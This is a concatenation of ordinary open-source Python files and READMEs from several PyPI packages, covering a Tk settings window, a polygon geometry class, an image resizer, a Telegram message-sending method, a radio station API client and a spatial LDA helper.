Parameters
----------
parent : Tk
Containing window.
experiment_manager : ExperimentManager
Current instance of ExperimentManager.
edit_meas_list : List[Measurement] (optional)
If given, open the settings window only for the measurements in the list, not all in exp_manager
device_list : List[Device] (optional)
If given, shows some information for all given devices in text form, not to change anything.
force_noload : bool (optional, default False)
If set to True, will not load anything from saved settings files.
"""
super(SettingsWindow, self).__init__(parent) # call parent constructor
self.logger = logging.getLogger()
self.logger.debug('SettingsWindow initialised with parent: %s experiment_manager: %s',
parent, experiment_manager)
self._root = parent
self._experiment_manager = experiment_manager
if edit_meas_list is None:
# edit all open measurements in experiment_manager
self._edit_meas_list = self._experiment_manager.exp.selected_measurements
else:
# store the given measurements
self._edit_meas_list = edit_meas_list
if device_list is not None:
self._device_list = device_list
else:
self._device_list = []
self.force_noload = force_noload
self.callback = callback
self._root.title = 'Settings'
parent.rowconfigure(1, weight=1)
parent.columnconfigure(0, weight=1)
# place hint
hint = "Any changes you make to the measurement settings will immediately be saved!"
top_hint = Label(parent, text=hint)
top_hint.grid(row=0, column=0, padx=5, pady=5, sticky='nswe')
# configure scrollable frame part
self.grid(row=1, column=0, sticky='nswe') # place window in root element
self.rowconfigure(0, weight=1)
self.columnconfigure(0, weight=1)
self._content_frame = self.get_content_frame()
self._content_frame.columnconfigure(0, weight=1)
self._children = []
self._meas_param_tables = {}
self.__setup__() # setup the main window content
def __on_close__(self):
"""Called by the ok button. Saves the entered values to the
.json file of the corresponding measurement. Then proceeds to
close the window.
"""
self.logger.debug('Trying to close SettingsWindow.')
# iterate through all elements in window
for child in self._children:
self.logger.debug('Current child: %s', child)
if isinstance(child, ParameterTable):
self.logger.debug('Child is ParameterTable with title: %s', child.title)
# get name of measurement corresponding to the parameter table
measurement_name = child.title.replace('Parameters ', '')
self.logger.debug('Trying to find corresponding measurement...')
# get the corresponding measurement object in experiment
for m in self._experiment_manager.exp.selected_measurements:
self.logger.debug('Current measurement: %s', m)
if m.name == measurement_name:
self._meas = m
self.logger.debug('Found corresponding measurement!')
break
else:
continue
# save values in .json file
if child.serialize(self._meas.settings_path):
self.logger.info('Saving parameters of measurement {:s} to file.'.format(measurement_name))
# here we write the paramters to the model
self._root.destroy()
if self.callback is not None:
self.callback()
def __setup__(self):
"""Sets up the frame by iterating through current measurements.
"""
self.logger.debug('Start setup of SettingsWindow.')
# generate adhoc device frames to show device infos
for dev_idx, device in enumerate(self._device_list):
dev_frame = AdhocDeviceFrame(self._content_frame)
dev_frame.grid(row=dev_idx, column=0, padx=5, pady=5)
dev_frame.load_existing_device(device)
dev_frame.enabled = False
dev_frame.title = "Information about Device"
# generate measurement setting frames
for meas_idx, measurement in enumerate(self._edit_meas_list):
counter = 0
# new frame for every measurement
meas_frame = CustomFrame(self._content_frame, padx=5, pady=5)
meas_frame.title = measurement.get_name_with_id()
meas_frame.grid(row=meas_idx + len(self._device_list), column=0)
self._children.append(meas_frame)
meas_frame.columnconfigure(0, weight=1)
self.logger.debug('Created new frame with title: %s',meas_frame.title)
# add instruments and their names addresses
for (inst_type, inst_name), inst_reference in measurement.instruments.items():
self._instrument_measurement_table = InstrumentSelector(meas_frame)
# user cannot change instrument addresses anymore, they
# were already initialised
self._instrument_measurement_table.title = inst_type
self._instrument_measurement_table.grid(
row=counter,
column=0,
columnspan=2,
padx=5,
pady=5,
sticky='w')
# add instrument to gui
self._children.append(self._instrument_measurement_table)
instrument_list = dict()
instrument_list.update(
{inst_type: InstrumentRole(self._root, [inst_reference.instrument_config_descriptor])}
)
self.logger.debug('Set chosen instruments to %s', instrument_list)
self._instrument_measurement_table.instrument_source = instrument_list
self._instrument_measurement_table.can_execute(DISABLED)
# display settings of instrument
counter += 1
data_dict = {}
t = ParameterTable(self._instrument_measurement_table, customwidth=40)
# convert settings from normal dictionary to configparam dictionary
try:
inst_parameter = inst_reference.get_instrument_parameter()
except Exception as exc:
messagebox.showinfo('Instrument Error',
'Cannot get instrument parameters: ' + repr(exc))
self.logger.exception('Error occured during fetching of instrument parameters: ' + repr(exc))
inst_parameter = {}
for k, v in inst_parameter.items():
data_dict[k] = ConfigParameter(self._root, value=v)
t.grid(row=counter, column=0, sticky='w')
t.title = 'Instrument Settings'
self._var = BooleanVar()
t.enabled = self._var
t.parameter_source = data_dict
self._var.set(False)
counter += 1
# display measurement parameters
self._parameter_measurement_table = ParameterTable(meas_frame, store_callback=measurement.store_new_param)
self._parameter_measurement_table.grid(
row=counter, column=0, padx=5, pady=5, sticky='w')
self._children.append(self._parameter_measurement_table)
self._parameter_measurement_table.title = 'Parameters ' + measurement.name
self._parameter_measurement_table.parameter_source = measurement.parameters
self._meas_param_tables[measurement.name] = self._parameter_measurement_table
# here we need to manage the final update, the writeback to measurement
if not self.force_noload:
if self._parameter_measurement_table.deserialize(measurement.settings_path):
self.logger.info("Loading measurement's {:s} parameter from file.".format(measurement.name))
counter += 1
self._reset_button = Button(self._content_frame, text='Reset Values', command=self.reset_values, width=10)
self._reset_button.grid(row=100, column=0, padx=5, pady=5, sticky='w')
self._children.append(self._reset_button)
self._ok_button = Button(self._content_frame, text='OK', command=self.__on_close__, width=10)
self._ok_button.grid(row=100, column=0, padx=5, pady=5, sticky='e')
self._children.append(self._ok_button)
def reset_values(self):
"""Called when user presses on reset button. Repaints the frame
and loads old settings from .json files.
"""
self.logger.debug('User reset values in SettingsWindow.')
for child in self._children:
child.destroy()
self.__setup__() | PypiClean |
/Dict2Model-0.0.22.tar.gz/Dict2Model-0.0.22/README.md | # Dict2Model

The library returns an object with defined attributes in types from an input dictionary,
with optional rules about types and more.
The declaration for the object variables and their types uses annotations:
number: int
question: bool
The mapping between variable and path inside the input dictionary are inside the source variables, in this format:
a string separated by '-' for each inner jump inside the dictionary
For example:
NUMBER_SOURCE = "data-number" # == dict_input["data"]["number"]
QUESTION_SOURCE = "data-question" # == dict_input["data"]["question"]
The optional parameter are:
DISABLE_TYPE_EXCEPTIONS = True
DISABLE_PATH_EXCEPTIONS = True
Type exception indicate to stop the object creation if theirs an error in matching types.
The second variable indicate to stop the object creation if a value don't exist in the source path.
When disabled variables are true the problematic variables are set to None.
The default is DISABLE_TYPE_EXCEPTIONS and DISABLE_PATH_EXCEPTIONS as False.
Full example:
class TestObj:
number: int
question: bool
NUMBER_SOURCE = "data-number"
QUESTION_SOURCE = "data-question"
DISABLE_TYPE_EXCEPTIONS = True
DISABLE_PATH_EXCEPTIONS = True
##Example:
>pip install SpecialModel
from src.dict2model import Dict2Model
class TestObj:
number: int
question: bool
NUMBER_SOURCE = "data-number"
QUESTION_SOURCE = "data-question"
DISABLE_TYPE_EXCEPTIONS = True
DISABLE_PATH_EXCEPTIONS = True
dict_input_test = {
"data": {
"number": 123,
"question": True
}
}
factory = Dict2Model.Dict2Model(TestObj, dict_input_test)
test_obj: TestObj = factory.run()
print(test_obj.number, test_obj.question)
print(type(test_obj.number), type(test_obj.question))
| PypiClean |
/COMPAS-1.17.5.tar.gz/COMPAS-1.17.5/src/compas/geometry/primitives/polygon.py | from __future__ import print_function
from __future__ import absolute_import
from __future__ import division
import math
from compas.geometry import allclose
from compas.geometry import area_polygon
from compas.geometry import cross_vectors
from compas.geometry import centroid_polygon
from compas.geometry import is_coplanar
from compas.geometry import is_polygon_convex
from compas.geometry import transform_points
from compas.geometry.primitives import Line
from compas.geometry.primitives import Point
from compas.geometry.primitives import Primitive
from compas.geometry.primitives import Vector
from compas.utilities import pairwise
class Polygon(Primitive):
"""A polygon is defined by a sequence of points forming a closed loop.
Parameters
----------
points : list[[float, float, float] | :class:`~compas.geometry.Point`]
An ordered list of points.
Attributes
----------
points : list of :class:`~compas.geometry.Point`
The points of the polygon.
lines : list of :class:`~compas.geometry.Line`, read-only
The lines of the polygon.
length : float, read-only
The length of the boundary.
centroid : :class:`~compas.geometry.Point`, read-only
The centroid of the polygon.
normal : :class:`~compas.geometry.Vector`, read-only
The (average) normal of the polygon.
area : float, read-only
The area of the polygon.
Notes
-----
A polygon is defined by a sequence of points connected by line segments
forming a closed boundary that separates its interior from the exterior.
In the sequence of points, the first and last element are not the same.
The existence of the closing edge is implied.
The boundary should not intersect itself.
Polygons are not necessarily planar by construction; they can be warped.
Examples
--------
>>> polygon = Polygon([[0, 0, 0], [1, 0, 0], [1, 1, 0], [0, 1, 0]])
>>> polygon.centroid
Point(0.500, 0.500, 0.000)
>>> polygon.area
1.0
"""
__slots__ = ["_points", "_lines"]
def __init__(self, points, **kwargs):
super(Polygon, self).__init__(**kwargs)
self._points = []
self._lines = []
self.points = points
# ==========================================================================
# data
# ==========================================================================
@property
def DATASCHEMA(self):
""":class:`schema.Schema` : Schema of the data representation."""
from schema import Schema
from compas.data import is_float3
return Schema({"points": lambda points: all(is_float3(point) for point in points)})
@property
def JSONSCHEMANAME(self):
"""str : Name of the schema of the data representation in JSON format."""
return "polygon"
@property
def data(self):
"""dict : The data dictionary that represents the polygon."""
return {"points": [point.data for point in self.points]}
@data.setter
def data(self, data):
self.points = [Point.from_data(point) for point in data["points"]]
@classmethod
def from_data(cls, data):
"""Construct a polygon from its data representation.
Parameters
----------
data : dict
The data dictionary.
Returns
-------
:class:`~compas.geometry.Polygon`
The constructed polygon.
Examples
--------
>>> polygon = Polygon.from_data({'points': [[0.0, 0.0, 0.0], [1.0, 0.0, 0.0], [1.0, 1.0, 0.0], [0.0, 1.0, 1.0]]})
>>> polygon.points[0]
Point(0.000, 0.000, 0.000)
"""
return cls([Point.from_data(point) for point in data["points"]])
# ==========================================================================
# properties
# ==========================================================================
@property
def points(self):
return self._points
@points.setter
def points(self, points):
if points[-1] == points[0]:
points = points[:-1]
self._points = [Point(*xyz) for xyz in points]
self._lines = None
# consider caching below based on point setter
@property
def lines(self):
if not self._lines:
self._lines = [Line(a, b) for a, b in pairwise(self.points + self.points[:1])]
return self._lines
@property
def length(self):
return sum(line.length for line in self.lines)
@property
def centroid(self):
point = centroid_polygon(self.points)
return Point(*point)
@property
def normal(self):
o = self.centroid
points = self.points
a2 = 0
normals = []
for i in range(-1, len(points) - 1):
p1 = points[i]
p2 = points[i + 1]
u = [p1[_] - o[_] for _ in range(3)]
v = [p2[_] - o[_] for _ in range(3)]
w = cross_vectors(u, v)
a2 += sum(w[_] ** 2 for _ in range(3)) ** 0.5
normals.append(w)
n = [sum(axis) / a2 for axis in zip(*normals)]
n = Vector(*n)
return n
@property
def area(self):
return area_polygon(self.points)
# ==========================================================================
# customization
# ==========================================================================
def __repr__(self):
return "Polygon([{0}])".format(", ".join(["{0!r}".format(point) for point in self.points]))
def __len__(self):
return len(self.points)
def __getitem__(self, key):
return self.points[key]
def __setitem__(self, key, value):
self.points[key] = Point(*value)
self._lines = None
def __iter__(self):
return iter(self.points)
def __eq__(self, other):
if not hasattr(other, "__iter__") or not hasattr(other, "__len__") or len(self) != len(other):
return False
return allclose(self, other)
# ==========================================================================
# constructors
# ==========================================================================
@classmethod
def from_sides_and_radius_xy(cls, n, radius):
"""Construct a polygon from a number of sides and a radius.
The resulting polygon is planar, equilateral and equiangular.
Parameters
----------
n : int
The number of sides.
radius : float
The radius of the circle the polygon will be circumscribed to.
Returns
-------
:class:`~compas.geometry.Polygon`
The constructed polygon.
Notes
-----
The first point of the polygon aligns with the Y-axis.
The order of the polygon's points is counterclockwise.
Examples
--------
>>> from compas.geometry import dot_vectors
>>> from compas.geometry import subtract_vectors
>>> pentagon = Polygon.from_sides_and_radius_xy(5, 1.0)
>>> len(pentagon.lines) == 5
True
>>> len({round(line.length, 6) for line in pentagon.lines}) == 1
True
>>> dot_vectors(pentagon.normal, [0.0, 0.0, 1.0]) == 1
True
>>> centertofirst = subtract_vectors(pentagon.points[0], pentagon.centroid)
>>> dot_vectors(centertofirst, [0.0, 1.0, 0.0]) == 1
True
"""
assert n >= 3, "Supplied number of sides must be at least 3!"
points = []
side = math.pi * 2 / n
for i in range(n):
point = [
math.sin(side * (n - i)) * radius,
math.cos(side * (n - i)) * radius,
0.0,
]
points.append(point)
return cls(points)
# ==========================================================================
# methods
# ==========================================================================
def is_convex(self):
"""Determine if the polygon is convex.
Returns
-------
bool
True if the polygon is convex.
False otherwise.
Examples
--------
>>> polygon = Polygon([[0.0, 0.0, 0.0], [1.0, 0.0, 0.0], [0.4, 0.4, 0.0], [0.0, 1.0, 0.0]])
>>> polygon.is_convex()
False
"""
return is_polygon_convex(self.points)
def is_planar(self):
"""Determine if the polygon is planar.
Returns
-------
bool
True if all points of the polygon lie in one plane.
False otherwise.
Examples
--------
>>> polygon = Polygon([[0.0, 0.0, 0.0], [1.0, 0.0, 0.0], [1.0, 1.0, 0.0], [0.0, 1.0, 0.1]])
>>> polygon.is_planar()
False
"""
return is_coplanar(self.points)
def transform(self, T):
"""Transform this polygon.
Parameters
----------
T : :class:`~compas.geometry.Transformation` | list[list[float]]
The transformation.
Returns
-------
None
Examples
--------
>>> from math import radians
>>> from compas.geometry import Rotation
>>> polygon = Polygon.from_sides_and_radius_xy(4, 1.0)
>>> R = Rotation.from_axis_and_angle([0.0, 0.0, 1.0], radians(45))
>>> polygon.transform(R)
>>> polygon.points[0]
Point(-0.707, 0.707, 0.000)
"""
for index, point in enumerate(transform_points(self.points, T)):
self.points[index].x = point[0]
self.points[index].y = point[1]
self.points[index].z = point[2]
def contains(self, point):
pass | PypiClean |
/BulkImageResizer-1.0.4.tar.gz/BulkImageResizer-1.0.4/README.md | # BulkImageResizer
BulkImageResizer automates image resizing and compression of any number of images in a folder. I developed this script to automatically resize and compress the images for responsive front end web development.
## Getting Started
Followig instructions will get you a copy of the project up and running on your local machine for development and testing purposes.
### Prerequisites
No prerequisites. BulkImageResizer is compatible with both Python2 and Python3.
### Installation
* Basic installation on your default Python version. Type in following code on your terminal:
```
$ pip install BulkImageResizer
```
If you want to install on a different Python version than default then:
* if default is Python2, then to install on Python3:
```
$ python3 -m pip install BulkImageResizer
```
* if default is Python3, then to install on Python2:
```
$ python2 -m pip install BulkImageResizer
```
## Usage
1. First import the module using the following command on your python project.
```
from BulkImageResizer.BulkImageResizer import BulkImageResizer
```
2. Instantiate BulkImageResizer object with the following arguments:
* path to source folder (containing images)
* path to new folder (to save resized images).
here is an example:
```
sourceFolder = '/Users/SK/Desktop/sourceFolder/'
exportFolder = '/Users/SK/Desktop/exportFolder/'
test1 = BulkImageResizer(sourceFolder, exportFolder)
```
3.1 To resize the image use imageResize() method. It takes minimum two integer numbers as arguments, which indicates the size you want in pixels.
here is an example:
```
test1.imageResize(800, 600)
```
this will resize all the images in the sourceFolder according to given pixels and save them in exportFolder. The original photos in the sourceFolder will not change.
If you want to keeps aspect ratio unchanged then use the following:
```
test1.imageResize(800, 600, aspectRatio=False)
```
this will resize all the images in the sourceFolder so that no matter what the length of the longer side of the image will equal 800px and the length of the shorter side of the image will be calculated based on the aspect ration of the original image. The resized images will be saved in exportFolder.
You can also change the subsampling value and quality of the image. By default subsampling is set to 1 and can be changed from 0 up to 2. Quality is set to 95, which is the maximum quality and can be lowered if you would like to compress the image and decrease file size.
```
test1.imageResize(800, 600, subsampling=2, quality=85)
```
3.2 If you want to just comress the photo without changing the pixel size then you can use imageCompress() method. By default quality is set to 95. If you would like to decrease the file size then you can lower the quality.
```
test1.imageComress(quality=75)
```
## Contributing
Please read [CONTRIBUTING.md](CONTRIBUTING.md) for details on our code of conduct, and the process for submitting pull requests to us.
## Version
Current Version: 1.0.3. For the versions available, see the [tags on this repository](https://github.com/suhrabjan/BulkImageResizer/tags).
## Authors
**Suhrab Kurbanov** - *Initial work*
See also the list of [contributors](https://github.com/suhrabjan/BulkImageResizer/graphs/contributors) who participated in this project.
## License
This project is licensed under the MIT License - see the [LICENSE.md](LICENSE.md) file for details
## Acknowledgements
Hat tip to anyone whose code was used
| PypiClean |
/OASYS1-oasyswiser-0.3.22.tar.gz/OASYS1-oasyswiser-0.3.22/orangecontrib/wiser/widgets/optical_elements/ow_elliptic_mirror.py | import numpy
from orangewidget.settings import Setting
from oasys.widgets import gui as oasysgui
from oasys.widgets import congruence
from syned.widget.widget_decorator import WidgetDecorator
from syned.beamline.shape import Ellipsoid
from LibWiser import Optics
from wofrywiser.beamline.beamline_elements import WiserOpticalElement
from orangecontrib.wiser.widgets.gui.ow_optical_element import OWOpticalElement
from orangecontrib.wiser.widgets.gui.ow_wise_widget import PositioningDirectivesPhrases
class OWEllipticMirror(OWOpticalElement, WidgetDecorator):
name = "EllipticMirror"
id = "EllipticMirror"
description = "Elliptic Mirror"
icon = "icons/ellipsoid_mirror.png"
priority = 2
OWOpticalElement.WhatWhereReferTo = Setting(PositioningDirectivesPhrases.Type.DistanceFromSource)
oe_name = Setting("Elliptic mirror")
f1 = Setting(0)
f2 = Setting(0)
def after_change_workspace_units(self):
super(OWEllipticMirror, self).after_change_workspace_units()
# I don't know why exactly, but the label displays correctly with the two lines commented
# label = self.le_length.parent().layout().itemAt(0).widget()
# label.setText(label.text() + " [" + self.workspace_units_label + "]")
# label = self.le_f1.parent().layout().itemAt(0).widget()
# label.setText(label.text() + " [" + self.workspace_units_label + "]")
# label = self.le_f2.parent().layout().itemAt(0).widget()
# label.setText(label.text() + " [" + self.workspace_units_label + "]")
def check_fields(self):
super(OWEllipticMirror, self).check_fields()
self.f1 = congruence.checkStrictlyPositiveNumber(self.f1, "F1")
self.f2 = congruence.checkStrictlyPositiveNumber(self.f2, "F2")
def build_mirror_specific_gui(self, container_box):
self.le_f1 = oasysgui.lineEdit(container_box, self, "f1", "F1 [m]", labelWidth=240, valueType=float, orientation="horizontal")
self.le_f2 = oasysgui.lineEdit(container_box, self, "f2", "F2 [m]", labelWidth=240, valueType=float, orientation="horizontal")
def get_native_optical_element(self):
return Optics.MirrorElliptic(f1=self.f1,
f2=self.f2,
L=self.length,
Alpha=numpy.deg2rad(self.alpha))
def get_optical_element(self, native_optical_element):
return WiserOpticalElement(name=self.oe_name,
boundary_shape=None,
native_CoreOptics=native_optical_element,
native_PositioningDirectives=self.get_PositionDirectives())
def receive_specific_syned_data(self, optical_element):
p, q = optical_element._surface_shape.get_p_q(numpy.radians(self.alpha))
self.f1 = numpy.round(p, 6)
self.f2 = numpy.round(q, 6)
def check_syned_shape(self, optical_element):
if not isinstance(optical_element._surface_shape, Ellipsoid):
raise Exception("Syned Data not correct: Mirror Surface Shape is not Elliptical")
from PyQt5.QtWidgets import QApplication, QMessageBox, QInputDialog
import sys
if __name__ == "__main__":
a = QApplication(sys.argv)
ow = OWEllipticMirror()
ow.show()
a.exec_()
ow.saveSettings() | PypiClean |
/Nuitka_fixed-1.1.2-cp310-cp310-win_amd64.whl/nuitka/build/inline_copy/lib/scons-2.3.2/SCons/Scanner/Dir.py |
__revision__ = "src/engine/SCons/Scanner/Dir.py 2014/07/05 09:42:21 garyo"
import SCons.Node.FS
import SCons.Scanner
def only_dirs(nodes):
is_Dir = lambda n: isinstance(n.disambiguate(), SCons.Node.FS.Dir)
return list(filter(is_Dir, nodes))
def DirScanner(**kw):
"""Return a prototype Scanner instance for scanning
directories for on-disk files"""
kw['node_factory'] = SCons.Node.FS.Entry
kw['recursive'] = only_dirs
return SCons.Scanner.Base(scan_on_disk, "DirScanner", **kw)
def DirEntryScanner(**kw):
"""Return a prototype Scanner instance for "scanning"
directory Nodes for their in-memory entries"""
kw['node_factory'] = SCons.Node.FS.Entry
kw['recursive'] = None
return SCons.Scanner.Base(scan_in_memory, "DirEntryScanner", **kw)
skip_entry = {}
skip_entry_list = [
'.',
'..',
'.sconsign',
# Used by the native dblite.py module.
'.sconsign.dblite',
# Used by dbm and dumbdbm.
'.sconsign.dir',
# Used by dbm.
'.sconsign.pag',
# Used by dumbdbm.
'.sconsign.dat',
'.sconsign.bak',
# Used by some dbm emulations using Berkeley DB.
'.sconsign.db',
]
for skip in skip_entry_list:
skip_entry[skip] = 1
skip_entry[SCons.Node.FS._my_normcase(skip)] = 1
do_not_scan = lambda k: k not in skip_entry
def scan_on_disk(node, env, path=()):
"""
Scans a directory for on-disk files and directories therein.
Looking up the entries will add these to the in-memory Node tree
representation of the file system, so all we have to do is just
that and then call the in-memory scanning function.
"""
try:
flist = node.fs.listdir(node.abspath)
except (IOError, OSError):
return []
e = node.Entry
for f in filter(do_not_scan, flist):
# Add ./ to the beginning of the file name so if it begins with a
# '#' we don't look it up relative to the top-level directory.
e('./' + f)
return scan_in_memory(node, env, path)
def scan_in_memory(node, env, path=()):
"""
"Scans" a Node.FS.Dir for its in-memory entries.
"""
try:
entries = node.entries
except AttributeError:
# It's not a Node.FS.Dir (or doesn't look enough like one for
# our purposes), which can happen if a target list containing
# mixed Node types (Dirs and Files, for example) has a Dir as
# the first entry.
return []
entry_list = sorted(filter(do_not_scan, list(entries.keys())))
return [entries[n] for n in entry_list]
# Local Variables:
# tab-width:4
# indent-tabs-mode:nil
# End:
# vim: set expandtab tabstop=4 shiftwidth=4: | PypiClean |
/Indomielibs-2.0.106.tar.gz/Indomielibs-2.0.106/pyrogram/methods/messages/send_message.py |
from datetime import datetime
from typing import Union, List, Optional
import pyrogram
from pyrogram import raw, utils, enums
from pyrogram import types
class SendMessage:
async def send_message(
self: "pyrogram.Client",
chat_id: Union[int, str],
text: str,
parse_mode: Optional["enums.ParseMode"] = None,
entities: List["types.MessageEntity"] = None,
disable_web_page_preview: bool = None,
disable_notification: bool = None,
reply_to_message_id: int = None,
schedule_date: datetime = None,
protect_content: bool = None,
reply_markup: Union[
"types.InlineKeyboardMarkup",
"types.ReplyKeyboardMarkup",
"types.ReplyKeyboardRemove",
"types.ForceReply"
] = None
) -> "types.Message":
"""Send text messages.
.. include:: /_includes/usable-by/users-bots.rst
Parameters:
chat_id (``int`` | ``str``):
Unique identifier (int) or username (str) of the target chat.
For your personal cloud (Saved Messages) you can simply use "me" or "self".
For a contact that exists in your Telegram address book you can use his phone number (str).
text (``str``):
Text of the message to be sent.
parse_mode (:obj:`~pyrogram.enums.ParseMode`, *optional*):
By default, texts are parsed using both Markdown and HTML styles.
You can combine both syntaxes together.
entities (List of :obj:`~pyrogram.types.MessageEntity`):
List of special entities that appear in message text, which can be specified instead of *parse_mode*.
disable_web_page_preview (``bool``, *optional*):
Disables link previews for links in this message.
disable_notification (``bool``, *optional*):
Sends the message silently.
Users will receive a notification with no sound.
reply_to_message_id (``int``, *optional*):
If the message is a reply, ID of the original message.
schedule_date (:py:obj:`~datetime.datetime`, *optional*):
Date when the message will be automatically sent.
protect_content (``bool``, *optional*):
Protects the contents of the sent message from forwarding and saving.
reply_markup (:obj:`~pyrogram.types.InlineKeyboardMarkup` | :obj:`~pyrogram.types.ReplyKeyboardMarkup` | :obj:`~pyrogram.types.ReplyKeyboardRemove` | :obj:`~pyrogram.types.ForceReply`, *optional*):
Additional interface options. An object for an inline keyboard, custom reply keyboard,
instructions to remove reply keyboard or to force a reply from the user.
Returns:
:obj:`~pyrogram.types.Message`: On success, the sent text message is returned.
Example:
.. code-block:: python
# Simple example
await app.send_message("me", "Message sent with **Pyrogram**!")
# Disable web page previews
await app.send_message("me", "https://docs.pyrogram.org",
disable_web_page_preview=True)
# Reply to a message using its id
await app.send_message("me", "this is a reply", reply_to_message_id=123)
.. code-block:: python
# For bots only, send messages with keyboards attached
from pyrogram.types import (
ReplyKeyboardMarkup, InlineKeyboardMarkup, InlineKeyboardButton)
# Send a normal keyboard
await app.send_message(
chat_id, "Look at that button!",
reply_markup=ReplyKeyboardMarkup([["Nice!"]]))
# Send an inline keyboard
await app.send_message(
chat_id, "These are inline buttons",
reply_markup=InlineKeyboardMarkup(
[
[InlineKeyboardButton("Data", callback_data="callback_data")],
[InlineKeyboardButton("Docs", url="https://docs.pyrogram.org")]
]))
"""
message, entities = (await utils.parse_text_entities(self, text, parse_mode, entities)).values()
r = await self.invoke(
raw.functions.messages.SendMessage(
peer=await self.resolve_peer(chat_id),
no_webpage=disable_web_page_preview or None,
silent=disable_notification or None,
reply_to_msg_id=reply_to_message_id,
random_id=self.rnd_id(),
schedule_date=utils.datetime_to_timestamp(schedule_date),
reply_markup=await reply_markup.write(self) if reply_markup else None,
message=message,
entities=entities,
noforwards=protect_content
)
)
if isinstance(r, raw.types.UpdateShortSentMessage):
peer = await self.resolve_peer(chat_id)
peer_id = (
peer.user_id
if isinstance(peer, raw.types.InputPeerUser)
else -peer.chat_id
)
return types.Message(
id=r.id,
chat=types.Chat(
id=peer_id,
type=enums.ChatType.PRIVATE,
client=self
),
text=message,
date=utils.timestamp_to_datetime(r.date),
outgoing=r.out,
reply_markup=reply_markup,
entities=[
types.MessageEntity._parse(None, entity, {})
for entity in entities
] if entities else None,
client=self
)
for i in r.updates:
if isinstance(i, (raw.types.UpdateNewMessage,
raw.types.UpdateNewChannelMessage,
raw.types.UpdateNewScheduledMessage)):
return await types.Message._parse(
self, i.message,
{i.id: i for i in r.users},
{i.id: i for i in r.chats},
is_scheduled=isinstance(i, raw.types.UpdateNewScheduledMessage)
) | PypiClean |
/Mopidy-RadioWorld-0.2.0.tar.gz/Mopidy-RadioWorld-0.2.0/mopidy_radioworld/radioworld.py | import requests
from time import sleep
from contextlib import closing
import logging
logger = logging.getLogger(__name__)
class RadioWorld(object):
def __init__(self):
self._base_uri = 'https://radioworld-api-prod.azurewebsites.net/%s'
#self._base_uri = 'http://localhost:5000/%s'
self._session = requests.Session()
def root(self):
results = [{
'type': 'directory',
'schema': 'rnd',
'id': None,
'text': 'Feeling lucky'
}]
countries = self._query('countries')
if countries is not None:
for location in sorted(countries, key=lambda loc: loc['name']):
results.append({
'type': 'directory',
'schema': 'location',
'id': location['id'],
'text': location['name']
})
return results
def rnd(self):
station = self._query('station/rnd')
if station is None:
return []
return {
'type': 'track',
'schema': 'station',
'id': station['id'],
'text': station['text']
}
def stations(self, id):
stations = self._query('location/{}/stations'.format(id))
if stations is None or stations == []:
logger.warning("empty response from API")
return []
results = []
for station in sorted(stations, key=lambda sta: sta['text']):
results.append({
'type': 'track',
'schema': 'station',
'id': station['id'],
'text': station['text']
})
return results
def station(self, id):
station = self._query('station/%s' % id)
if station is None:
logger.warning("empty response from API")
return station
def image(self, id):
return self._base_uri % ("station/{}/image".format(id))
def search(self, q, location_id):
results = []
search = self._query("stations/search/{}".format(q)) if location_id is None else self._query("location/{}/search/{}".format(location_id, q))
stations = search['stations']
for station in stations:
results.append({
'type': 'track',
'schema': 'station',
'id': station['id'],
'text': station['text']
})
return results
def _query(self, path):
uri = (self._base_uri % path)
logger.info('RadioWorld request: %s', uri)
try:
while True:
with closing(self._session.get(uri)) as r:
r.raise_for_status()
logger.debug("RadioWorld response: %s", r.status_code)
if r.status_code != 204:
return r.json()
else:
sleep(0.25)
except Exception as e:
logger.info('RadioWorld API request for %s failed: %s' % (path, e))
return None | PypiClean |
/Hikka_Pyro-2.0.66-py3-none-any.whl/pyrogram/types/messages_and_media/document.py |
from datetime import datetime
from typing import List
import pyrogram
from pyrogram import raw, utils
from pyrogram import types
from pyrogram.file_id import FileId, FileType, FileUniqueId, FileUniqueType
from ..object import Object
class Document(Object):
"""A generic file (as opposed to photos, voice messages, audio files, ...).
Parameters:
file_id (``str``):
Identifier for this file, which can be used to download or reuse the file.
file_unique_id (``str``):
Unique identifier for this file, which is supposed to be the same over time and for different accounts.
Can't be used to download or reuse the file.
file_name (``str``, *optional*):
Original filename as defined by sender.
mime_type (``str``, *optional*):
MIME type of the file as defined by sender.
file_size (``int``, *optional*):
File size.
date (:py:obj:`~datetime.datetime`, *optional*):
Date the document was sent.
thumbs (List of :obj:`~pyrogram.types.Thumbnail`, *optional*):
Document thumbnails as defined by sender.
"""
def __init__(
self,
*,
client: "pyrogram.Client" = None,
file_id: str,
file_unique_id: str,
file_name: str = None,
mime_type: str = None,
file_size: int = None,
date: datetime = None,
thumbs: List["types.Thumbnail"] = None
):
super().__init__(client)
self.file_id = file_id
self.file_unique_id = file_unique_id
self.file_name = file_name
self.mime_type = mime_type
self.file_size = file_size
self.date = date
self.thumbs = thumbs
@staticmethod
def _parse(client, document: "raw.types.Document", file_name: str) -> "Document":
return Document(
file_id=FileId(
file_type=FileType.DOCUMENT,
dc_id=document.dc_id,
media_id=document.id,
access_hash=document.access_hash,
file_reference=document.file_reference
).encode(),
file_unique_id=FileUniqueId(
file_unique_type=FileUniqueType.DOCUMENT,
media_id=document.id
).encode(),
file_name=file_name,
mime_type=document.mime_type,
file_size=document.size,
date=utils.timestamp_to_datetime(document.date),
thumbs=types.Thumbnail._parse(client, document),
client=client
) | PypiClean |
/CNTools-0.0.0.tar.gz/CNTools-0.0.0/src/identification/Spatial_LDA.py | import pandas as pd
import numpy as np
from sklearn.model_selection import train_test_split
from spatial_lda.featurization import featurize_samples
from spatial_lda.featurization import neighborhood_to_cluster
from spatial_lda.featurization import make_merged_difference_matrices
from spatial_lda.model import order_topics_consistently
import spatial_lda.model
def Spatial_LDA(ds, n_cns, eps, b, train_size_fraction, n_processes):
data = ds.data
dfs_image = {}
for sample in data:
for image in data[sample]:
df_image = pd.DataFrame(data[sample][image].locs, columns=['X', 'Y'])
df_image['cluster'] = data[sample][image].cts
df_image['isb'] = True
dfs_image[sample + '-' + str(image)] = df_image
feats = featurize_samples(dfs_image, neighborhood_to_cluster, eps, 'isb', 'X', 'Y', n_processes=n_processes, include_anchors=True)
all_sample_idxs = feats.index.map(lambda x: x[0])
_sets = train_test_split(feats, test_size=1-train_size_fraction, stratify=all_sample_idxs)
feats_image_train, _ = _sets
train_difference_matrices = make_merged_difference_matrices(feats_image_train, dfs_image, 'X', 'Y')
model = spatial_lda.model.train(sample_features=feats_image_train,
difference_matrices=train_difference_matrices,
difference_penalty=b,
n_topics=n_cns,
n_parallel_processes=n_processes,
verbosity=1,
admm_rho=0.1,
primal_dual_mu=1e+5)
order_topics_consistently([model])
